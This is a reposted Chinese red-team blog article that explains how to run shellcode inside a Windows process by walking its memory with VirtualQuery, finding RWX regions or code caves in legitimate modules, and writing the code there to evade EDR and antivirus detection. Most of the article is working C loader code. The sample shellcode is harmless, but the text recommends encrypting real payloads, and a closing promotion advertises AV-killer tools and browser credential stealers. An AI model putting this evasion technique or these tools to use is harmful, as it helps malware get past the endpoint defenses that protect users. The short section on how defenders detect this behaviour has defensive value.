内存遍历实战:在现有内存中隐蔽执行ShellCode

admin 2026-04-02 05:33:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解了Windows下遍历现有进程内存隐蔽执行ShellCode的技术。该方法利用VirtualQueryAPI查找RWX区域或RX属性的CodeCave,规避VirtualAlloc等敏感API调用,降低EDR检测风险。文章提供完整C代码实现内存枚举与注入执行。实战建议优先利用CodeCave注入合法模块,写入后及时恢复内存保护属性,并配合ShellCode加密混淆,以有效绕过内存属性监控与特征码检测。 综合评分: 85 文章分类: 免杀,渗透测试,红队,终端安全


cover_image

内存遍历实战:在现有内存中隐蔽执行ShellCode

原创

星夜AI安全 星夜AI安全

星夜AI安全

2026年3月28日 21:26 北京

在Windows内存攻防领域,如何隐蔽地执行ShellCode,绕开系统监控与检测,是很多技术研究者关注的核心话题。常规的内存分配方式容易触发监控,而通过遍历进程内存、利用现有可执行区域注入代码,成为一种更具隐蔽性的实现思路。

今天我们就来深入拆解这一技术,从内存机制基础到实战代码实现,再到免杀应用细节,带你完整掌握这一实用技巧。

一、先搞懂核心概念:内存管理与关键术语

要理解内存遍历执行ShellCode的逻辑,首先需要明确几个核心概念,避免陷入技术细节的迷雾中。

1.1 核心术语解析

| 术语 | 说明 | | — | — | | 内存页 | 内存管理的最小单位,Windows系统中通常为4KB,就像把内存划分为一个个固定大小的“小格子”,方便系统管理和分配。 | | 内存区域 | 连续的内存页集合,这些页面具有相同的保护属性,是系统进行内存管理的基本单元。 | | Code Cave(代码洞穴) | 可执行模块中未被使用的空间,比如PE文件中的对齐填充、节区间隙,可用于隐蔽注入代码而不改变文件体积。 | | VirtualQuery | Windows系统提供的API,用于查询指定内存区域的详细信息,是内存遍历的核心工具。 |

1.2 关键内存保护属性

Windows系统通过内存保护属性限制对内存区域的操作,其中与ShellCode执行密切相关的属性如下(附核心宏定义):

#define PAGE_NOACCESS          0x01   // 不可访问,任何操作都会触发异常
#define PAGE_READONLY          0x02   // 只读,仅能读取内容,无法修改
#define PAGE_READWRITE         0x04   // 可读写,能读取和修改,但无法执行代码
#define PAGE_EXECUTE           0x10   // 可执行,仅能执行代码,无法读取或修改
#define PAGE_EXECUTE_READ      0x20   // 可读可执行,最常见的代码段属性(如正常程序的.text段)
#define PAGE_EXECUTE_READWRITE 0x40   // 可读写可执行(RWX),能执行、读取、修改,隐蔽性差但操作便捷
#define PAGE_GUARD             0x100  // 保护页,用于触发异常通知

其中,RWX属性在正常软件中极其罕见,几乎是在向安全软件“暴露异常”,而RX属性则是合法程序代码段的常规属性,更具隐蔽性。

二、核心逻辑:为什么要遍历内存块执行ShellCode?

常规的ShellCode执行方式,通常会调用VirtualAlloc等API分配新的内存区域,再写入代码执行。但这种方式存在明显弊端——VirtualAlloc等敏感API往往被系统监控工具重点关注,容易被检测到异常。

而遍历内存块执行ShellCode,核心是“利用现有资源、避免新增操作”,其优势主要体现在三点:

  1. 规避敏感API监控:不调用VirtualAlloc等易被检测的内存分配API,减少异常行为触发概率,降低被EDR、杀毒软件识别的风险。
  2. 复用现有可执行内存:系统中存在大量已分配、具有可执行属性(X、RX、RWX)的内存区域,直接利用这些区域,无需新增内存,避免内存分配异常被捕捉。
  3. Code Cave隐蔽注入:借助代码洞穴,将ShellCode注入到合法模块的未使用空间中,不影响原程序正常运行,同时实现代码的隐蔽执行,甚至可做到文件体积、哈希值不变,规避静态检测。

内存遍历的核心流程

整个技术的核心流程非常清晰,可概括为四步,无需复杂的逻辑设计:

  1. 从内存地址0开始,作为遍历的起始点;
  2. 调用VirtualQuery API,获取当前内存区域的详细信息(大小、保护属性、状态等);
  3. 检查该内存区域的属性,判断是否符合要求(已提交、具有可执行属性,且空间足够容纳ShellCode);
  4. 找到符合条件的区域后,写入ShellCode并执行,若未找到则继续遍历下一个区域。

三、实战实现:从内存遍历到ShellCode注入

下面通过三段核心代码,一步步实现从内存遍历、查找可执行区域,到最终注入执行ShellCode的完整流程,所有代码可直接编译运行(需基于Windows环境)。

3.1 遍历进程所有内存区域

首先实现内存遍历功能,打印当前进程所有已提交内存区域的地址、大小、状态和保护属性,直观了解进程内存分布:

#include&nbsp;<windows.h>
#include&nbsp;<stdio.h>

// 遍历当前进程的所有内存区域
void&nbsp;EnumerateMemory()&nbsp;{
&nbsp; &nbsp; MEMORY_BASIC_INFORMATION mbi;
&nbsp; &nbsp; LPVOID address =&nbsp;NULL;

&nbsp; &nbsp;&nbsp;printf("%-20s %-12s %-12s %-20s\n",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"Address",&nbsp;"Size",&nbsp;"State",&nbsp;"Protect");
&nbsp; &nbsp;&nbsp;printf("%s\n",&nbsp;"---------------------------------------------------------------");

&nbsp; &nbsp;&nbsp;// 循环遍历,直到VirtualQuery返回失败(遍历完成)
&nbsp; &nbsp;&nbsp;while&nbsp;(VirtualQuery(address, &mbi,&nbsp;sizeof(mbi))) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;state[20] =&nbsp;"";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;protect[30] =&nbsp;"";

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 解析内存状态(已提交/已保留/空闲)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;switch&nbsp;(mbi.State) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;MEM_COMMIT: &nbsp;strcpy(state,&nbsp;"COMMIT");&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;MEM_RESERVE:&nbsp;strcpy(state,&nbsp;"RESERVE");&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;MEM_FREE: &nbsp; &nbsp;strcpy(state,&nbsp;"FREE");&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 解析已提交内存的保护属性,简化显示
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.State == MEM_COMMIT) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.Protect & PAGE_EXECUTE_READWRITE)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;strcpy(protect,&nbsp;"RWX");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elseif&nbsp;(mbi.Protect & PAGE_EXECUTE_READ)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;strcpy(protect,&nbsp;"RX");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elseif&nbsp;(mbi.Protect & PAGE_EXECUTE)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;strcpy(protect,&nbsp;"X");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elseif&nbsp;(mbi.Protect & PAGE_READWRITE)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;strcpy(protect,&nbsp;"RW");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elseif&nbsp;(mbi.Protect & PAGE_READONLY)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;strcpy(protect,&nbsp;"R");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sprintf(protect,&nbsp;"0x%X", mbi.Protect);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 只打印已提交的内存区域(可操作的有效内存)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.State == MEM_COMMIT) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("0x%p &nbsp; &nbsp; 0x%-10zX %-12s %-20s\n",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mbi.BaseAddress, mbi.RegionSize, state, protect);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 移动到下一个内存区域
&nbsp; &nbsp; &nbsp; &nbsp; address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
&nbsp; &nbsp; }
}

int&nbsp;main()&nbsp;{
&nbsp; &nbsp;&nbsp;printf("========== 进程内存区域遍历 ==========\n");
&nbsp; &nbsp; EnumerateMemory();
&nbsp; &nbsp;&nbsp;return0;
}

运行后,会清晰看到进程中所有已提交内存的详细信息,比如哪些区域是RX属性(合法代码段),哪些是RWX属性(异常风险区域),为后续查找注入目标提供依据。

3.2 查找可执行内存区域(RWX + Code Cave)

遍历内存的核心目的,是找到可写入并执行ShellCode的区域,主要有两种思路:直接查找RWX区域,或查找Code Cave(代码洞穴),下面是完整实现:

#include&nbsp;<windows.h>
#include&nbsp;<stdio.h>

// 查找RWX(可读写可执行)内存区域
LPVOID&nbsp;FindRWXMemory(SIZE_T requiredSize)&nbsp;{
&nbsp; &nbsp; MEMORY_BASIC_INFORMATION mbi;
&nbsp; &nbsp; LPVOID address =&nbsp;NULL;

&nbsp; &nbsp;&nbsp;printf("[*] 正在查找RWX内存区域...\n");

&nbsp; &nbsp;&nbsp;while&nbsp;(VirtualQuery(address, &mbi,&nbsp;sizeof(mbi))) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 条件:已提交、RWX属性、空间足够
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.State == MEM_COMMIT &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (mbi.Protect & PAGE_EXECUTE_READWRITE) &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mbi.RegionSize >= requiredSize) {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] 找到RWX区域:0x%p (大小:0x%zX)\n",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mbi.BaseAddress, mbi.RegionSize);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;mbi.BaseAddress;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;printf("[-] 未找到RWX内存区域\n");
&nbsp; &nbsp;&nbsp;returnNULL;
}

// 查找Code Cave(代码洞穴):可执行区域中的未使用空间
LPVOID&nbsp;FindCodeCave(SIZE_T requiredSize)&nbsp;{
&nbsp; &nbsp; MEMORY_BASIC_INFORMATION mbi;
&nbsp; &nbsp; LPVOID address =&nbsp;NULL;

&nbsp; &nbsp;&nbsp;printf("[*] 正在查找代码洞穴...\n");

&nbsp; &nbsp;&nbsp;while&nbsp;(VirtualQuery(address, &mbi,&nbsp;sizeof(mbi))) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 条件:已提交、具有可执行属性(X/RX)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.State == MEM_COMMIT &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ))) {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 扫描内存区域末尾,寻找连续的空字节(0x00)或断点字节(0xCC)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LPBYTE pScan = (LPBYTE)mbi.BaseAddress + mbi.RegionSize - requiredSize;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOL allNull = TRUE;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(SIZE_T i =&nbsp;0; i < requiredSize; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pScan[i] !=&nbsp;0x00&nbsp;&& pScan[i] !=&nbsp;0xCC) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allNull = FALSE;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 找到符合条件的代码洞穴
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(allNull) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] 找到代码洞穴:0x%p\n", pScan);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pScan;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;printf("[-] 未找到可用代码洞穴\n");
&nbsp; &nbsp;&nbsp;returnNULL;
}

int&nbsp;main()&nbsp;{
&nbsp; &nbsp;&nbsp;// 示例ShellCode(4个int3断点 + 1个ret返回,用于测试)
&nbsp; &nbsp;&nbsp;unsignedchar&nbsp;shellcode[] =&nbsp;"\xCC\xCC\xCC\xCC";
&nbsp; &nbsp; SIZE_T shellcodeSize =&nbsp;sizeof(shellcode);

&nbsp; &nbsp;&nbsp;// 方法1:查找RWX区域
&nbsp; &nbsp; LPVOID pRWX = FindRWXMemory(shellcodeSize);
&nbsp; &nbsp;&nbsp;if&nbsp;(pRWX) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[*] 可将ShellCode写入RWX区域\n");
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 方法2:查找Code Cave(更隐蔽)
&nbsp; &nbsp; LPVOID pCave = FindCodeCave(shellcodeSize);
&nbsp; &nbsp;&nbsp;if&nbsp;(pCave) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[*] 可利用代码洞穴注入ShellCode\n");
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return0;
}

这里需要注意:RWX区域虽然操作便捷,但在现代系统中极其罕见,容易被安全软件检测;而Code Cave借助合法模块的未使用空间,隐蔽性更强,是更推荐的注入方式。

3.3 注入ShellCode并执行

找到合适的内存区域后,下一步就是写入ShellCode并执行。针对不同的内存属性(RWX、RX),需要采用不同的处理方式,完整实现如下:

#include&nbsp;<windows.h>
#include&nbsp;<stdio.h>

// 示例ShellCode:4个nop指令(空操作) + ret返回(避免程序崩溃)
unsignedchar&nbsp;shellcode[] = {
&nbsp; &nbsp;&nbsp;0x90,&nbsp;0x90,&nbsp;0x90,&nbsp;0x90, &nbsp;// nop sled(用于对齐和规避简单检测)
&nbsp; &nbsp;&nbsp;0xC3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ret(执行完成后返回,防止程序异常)
};

// 在现有内存模块中注入并执行ShellCode
BOOL&nbsp;InjectToExistingModule()&nbsp;{
&nbsp; &nbsp; MEMORY_BASIC_INFORMATION mbi;
&nbsp; &nbsp; LPVOID address =&nbsp;NULL;

&nbsp; &nbsp;&nbsp;while&nbsp;(VirtualQuery(address, &mbi,&nbsp;sizeof(mbi))) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 条件:已提交、空间足够容纳ShellCode
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.State == MEM_COMMIT && mbi.RegionSize >=&nbsp;sizeof(shellcode)) {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 情况1:RWX属性,直接写入并执行
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.Protect & PAGE_EXECUTE_READWRITE) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] 找到RWX区域:0x%p\n", mbi.BaseAddress);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 写入ShellCode(memcpy直接复制)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy(mbi.BaseAddress, shellcode,&nbsp;sizeof(shellcode));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] ShellCode写入成功!\n");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行ShellCode(强制类型转换为函数指针并调用)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ((void(*)())mbi.BaseAddress)();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 情况2:RX属性(合法代码段),先修改保护属性再写入
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mbi.Protect & PAGE_EXECUTE_READ) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD oldProtect;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 修改内存保护属性为RWX(临时)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(VirtualProtect(mbi.BaseAddress,&nbsp;sizeof(shellcode),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PAGE_EXECUTE_READWRITE, &oldProtect)) {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] 已修改内存保护属性:0x%p\n", mbi.BaseAddress);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 写入ShellCode
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy(mbi.BaseAddress, shellcode,&nbsp;sizeof(shellcode));

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 恢复原保护属性(减少异常痕迹)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; VirtualProtect(mbi.BaseAddress,&nbsp;sizeof(shellcode),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;oldProtect, &oldProtect);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行ShellCode
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ((void(*)())mbi.BaseAddress)();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return&nbsp;FALSE;
}

int&nbsp;main()&nbsp;{
&nbsp; &nbsp;&nbsp;printf("========== 现有内存ShellCode注入执行 ==========\n");

&nbsp; &nbsp;&nbsp;if&nbsp;(!InjectToExistingModule()) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] ShellCode注入执行失败\n");
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return0;
}

关键细节:针对RX属性的内存区域,修改保护属性后需及时恢复,避免留下明显的异常痕迹;ShellCode中加入nop指令(空操作),可用于对齐,也能一定程度规避简单的特征码检测,这也是免杀优化的基础技巧。

四、免杀应用:优势与注意事项

这种内存遍历注入方式,在免杀场景中具有显著优势,但也存在一些需要规避的风险,掌握这些细节才能真正实现隐蔽执行。

4.1 核心优势(免杀关键点)

  • 无敏感API调用:不使用VirtualAlloc等易被监控的内存分配API,减少被EDR、杀毒软件检测的概率,这也是其相比传统注入方式的核心优势。
  • 内存行为隐蔽:利用系统现有内存区域,不新增内存分配,避免内存总量异常、内存属性异常等被检测的风险。
  • 可寄生合法模块:通过Code Cave注入到系统合法进程(如notepad.exe)的内存中,借助合法进程的“身份”,进一步降低被检测的概率,甚至可实现原程序功能不受影响的隐蔽执行。

4.2 必须注意的风险点

  • 内存保护修改风险:修改RX区域的保护属性(VirtualProtect调用),可能被EDR通过TI-ETW等技术检测到,这是目前安全软件针对此类注入的主要检测点之一。
  • 目标区域占用风险:若注入的内存区域正在被程序正常使用,写入ShellCode会导致程序崩溃,暴露异常,因此需确保目标区域(尤其是Code Cave)未被使用。
  • Code Cave大小限制:代码洞穴的空间通常较小,若ShellCode体积过大,可能无法找到合适的注入区域,需对ShellCode进行压缩、混淆优化。
  • 特征码检测风险:即使注入方式隐蔽,若ShellCode本身存在已知特征码,依然会被安全软件检测到,因此需结合ShellCode加密、混淆等技巧,进一步提升免杀效果。

五、延伸思考:深入理解内存攻防

掌握上述技术后,结合当前内存攻防的现状,有两个核心问题值得深入思考,这也是区分技术深度的关键:

  1. 现代系统中,RWX内存为什么很少见? 核心原因是安全设计:RWX属性允许代码被修改并执行,存在极大的安全隐患,容易被恶意代码利用。现代操作系统和编译器会严格限制RWX内存的创建,仅部分特殊场景(如JIT编译、加壳软件)会出现少量RWX区域,这也是安全软件重点监控RWX区域的原因之一,未做优化的恶意代码使用RWX区域,存活时间往往极短(通常不足2分钟)。
  2. 如何检测进程中的异常内存属性修改? 目前主流的检测方式有三种:一是监控VirtualProtect API调用,检测内存属性从RX到RWX的异常切换;二是通过VAD(虚拟地址描述符)遍历,监控非MEM_IMAGE类型的可执行内存区域;三是结合调用栈完整性校验、动态指令追踪等技术,检测异常的内存操作和ShellCode执行行为,不过这类高级检测技术成本较高,仅在部分高端EDR中应用。

最后

内存遍历执行ShellCode,核心是“隐蔽性”——利用系统现有资源,规避敏感操作,减少异常痕迹。这种技术不仅适用于免杀场景,也能帮助我们更深入地理解Windows内存管理机制,以及内存攻防的核心逻辑。

需要注意的是,本文分享的技术仅用于学习和研究,旨在帮助开发者了解系统安全漏洞、提升安全防护能力,严禁用于非法用途。

后续我们将进一步分享内存攻防的进阶技巧——重写R3 API,通过重新实现底层API,绕过系统Hook检测,进一步提升代码的隐蔽性,敬请关注。

关注微信公众号后台回复入群 即可加入星夜AI安全交流群

圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。

已产出的安全工具及成果包括:

  • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
  • _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • win11 一键kill 360工具 InjectKill(包含源码)
  • win11 一键kill defender工具win11_df-killer(包含源码)
  • 免杀火绒6.0内存防护加载器BypassMemLoader
  • 单文件bypass360加载器

后续将不断更新到内部圈子中 欢迎加入圈子

愿风指引着你的道路,愿你的刀刃永远锋利

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《内存遍历实战:在现有内存中隐蔽执行ShellCode》

浅谈语义安全检测 网络安全文章

浅谈语义安全检测

文章总结: 语义安全检测是应对大模型与Agent系统提示词注入及语义攻击的工程体系,单点规则或模型无法彻底解决该问题。文章将检测拆解为文本、上下文、行为、表征与
评论:0   参与:  0